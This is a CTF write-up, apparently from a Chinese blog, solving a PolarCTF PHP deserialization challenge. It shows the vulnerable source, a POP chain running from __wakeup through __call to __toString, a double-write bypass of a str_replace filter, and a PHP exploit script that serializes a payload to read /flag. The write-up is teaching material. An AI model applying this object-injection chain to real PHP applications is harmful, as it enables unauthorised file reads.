【PolarCTF】PHP_Deserialization

复制代码
<?php

/*

PolarD&N CTF

*/

class Polar
{
    public $night;
    public $night_arg;

    public function __wakeup()
    {
        echo "hacker";
        $this->night->hacker($this->night_arg);
    }

}

class Night
{
    // 当调用一个对象中不存在(或者访问权限不足,比如私有 / 受保护)的实例方法时,会自动触发 __call()
    public function __call($name, $arguments)
    {
        echo "wrong call:" . $name . "  arg:" . $arguments[0];
    }
}

class Day
{
    public $filename="/flag";

    public function __toString()
    {
        $this->filename = str_replace("flag", "", $this->filename);
        echo file_get_contents($this->filename);
        return $this->filename;
    }
}

if (isset($_POST['polar'])) {
    unserialize(base64_decode($_POST['polar']));
} else {
    highlight_file(__FILE__);
}

__call魔术方法

当调用一个对象中不存在(或者访问权限不足,比如私有 / 受保护)的实例方法时,会自动触发 __call()

我们的攻击链如下:

复制代码
unserialize()
    ↓
Polar::__wakeup()
    ↓
$this->night->hacker($this->night_arg);
    ↓
$this->night = Night对象(Night存在__call)
    ↓
Night::__call($name, $arguments)
    ↓
echo "xxx" . $arguments[0]; 
    ↓
$arguments[0] = Day对象,对象参与字符串拼接 → Day::__toString()
    ↓
file_get_contents($this->filename) 读取文件!

反序列化Polar类会自动触发__wakup,我们可以将night赋值为Night的实例,由于Night不存在hacker函数则会触发__call魔术方法

在class Night中使用echo 输出了$atguments0,这个操作可以触发__toString的魔术方法,那么我们可以将night_arg赋值为class Day的实例

这样就可以触发class Day的__toString魔术方法,但是由于其中使用了str_replace进行过滤,我们可以将$filename="/flag"进行双写为/flaflagg来绕过str_replace的过滤

EXP如下

php 复制代码
<?php

class Polar
{
    public $night;
    public $night_arg;
  

}

class Night
{
    
}

class Day
{
    public $filename="/flflagag";

}


$polar = new Polar();
$night = new Night();
$Day = new Day();

$polar->night = $night;
$polar->night_arg = $Day;


echo base64_encode(serialize($polar))


?>
相关推荐
持敬chijing4 小时前
白盒测试与代码审计-Claude Code Windows环境搭建
windows·安全·网络安全·网络攻击模型
Vitaliy Kostrov(柯维远)5 小时前
客户端如何检查直播流:从流内标记到停止播放
android·运维·服务器·驱动开发·网络安全·系统架构·cdn
sbjdhjd1 天前
从签名重放到 Agent Harness:一堂安全课程如何把前端逆向、MCP 与工程约束串起来
网络安全·ai·github·agent·webshell·mcp·harness
持敬chijing2 天前
白盒测试与代码审计-js登录逆向实战
javascript·网络·安全·web安全·网络安全·网络攻击模型
南棋网络安全2 天前
ssrf跨站请求伪造(保姆级教程)
运维·服务器·网络·网络安全
科技象限2 天前
数据防泄漏系统:文件是怎么溜出门的,就该怎么堵
运维·网络·网络安全·安企神
听说6662 天前
信息安全工程师 - 第二十二章 网站安全需求分析与安全保护工程
网络·安全·web安全·网络安全·系统安全
白帽攻防录2 天前
SRC 挖洞:PowerPoint 四个 RCE,预览窗格怎么变成零点击入口
网络安全·powerpoint·文档安全
酒神dnspup2 天前
DNS 泄露检测怎么做:从随机权威域名、递归解析器出口到 HTTP 出口一致性
网络安全·dns·网络排查·dns泄露